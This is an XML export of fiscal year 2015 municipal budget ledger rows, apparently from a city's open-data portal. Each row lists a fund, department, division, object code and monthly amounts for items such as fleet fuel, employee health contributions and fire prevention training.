<row _id="15851"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>566210.0</object><object_description>AIRPORT FIELD MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="15852"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-255000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-255000.0</total></row>
<row _id="15853"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>22400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22400.0</total></row>
<row _id="15854"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>601997.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>601997.0</total></row>
<row _id="15855"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>51250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51250.0</total></row>
<row _id="15856"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401070.0</object><object_description>TENNIS RESERVATIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15857"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>544160.0</object><object_description>RIDESHARE PROGRAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15858"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12879.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12879.0</total></row>
<row _id="15859"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1596.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1596.0</total></row>
<row _id="15860"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>532.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>532.0</total></row>
<row _id="15861"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>407070.0</object><object_description>CUPA ADMINISTRATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-168547.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-168547.0</total></row>
<row _id="15862"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560020.0</object><object_description>DOWNSPOUT REDIRECT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1527.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1527.0</total></row>
<row _id="15863"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-741637.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-741637.0</total></row>
<row _id="15864"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-228994.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-228994.0</total></row>
<row _id="15865"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-56067.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-56067.0</total></row>
<row _id="15866"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401110.0</object><object_description>TRAFFIC ACCIDENT HAZ MAT CLEAN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30000.0</total></row>
<row _id="15867"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>401170.0</object><object_description>ELECTION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15868"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-10165.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10165.0</total></row>
<row _id="15869"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-17771.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-17771.0</total></row>
<row _id="15870"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-12217.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12217.0</total></row>
<row _id="15871"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-7616.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7616.0</total></row>
<row _id="15872"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-3148.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3148.0</total></row>
<row _id="15873"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-46693.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-46693.0</total></row>
<row _id="15874"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-11562.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11562.0</total></row>
<row _id="15875"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-16114.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16114.0</total></row>
<row _id="15876"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6970.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6970.0</total></row>
<row _id="15877"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-19427.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-19427.0</total></row>
<row _id="15878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-8891.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8891.0</total></row>
<row _id="15879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-2708.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2708.0</total></row>
<row _id="15880"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-21112.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21112.0</total></row>
<row _id="15881"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-7203.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7203.0</total></row>
<row _id="15882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7669.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7669.0</total></row>
<row _id="15883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>572.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>572.0</total></row>
<row _id="15884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>21202.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21202.0</total></row>
<row _id="15885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4570.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4570.0</total></row>
<row _id="15886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15887"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="15888"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12850.0</total></row>
<row _id="15889"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="15890"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7762.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7762.0</total></row>
<row _id="15891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15892"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>405760.0</object><object_description>ENHANCEMENT PURCHASES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-357661.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-357661.0</total></row>
<row _id="15893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>458100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>458100.0</total></row>
<row _id="15894"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>237800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>237800.0</total></row>
<row _id="15895"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="15896"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12720.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12720.0</total></row>
<row _id="15897"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>19829.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19829.0</total></row>
<row _id="15898"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5090.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5090.0</total></row>
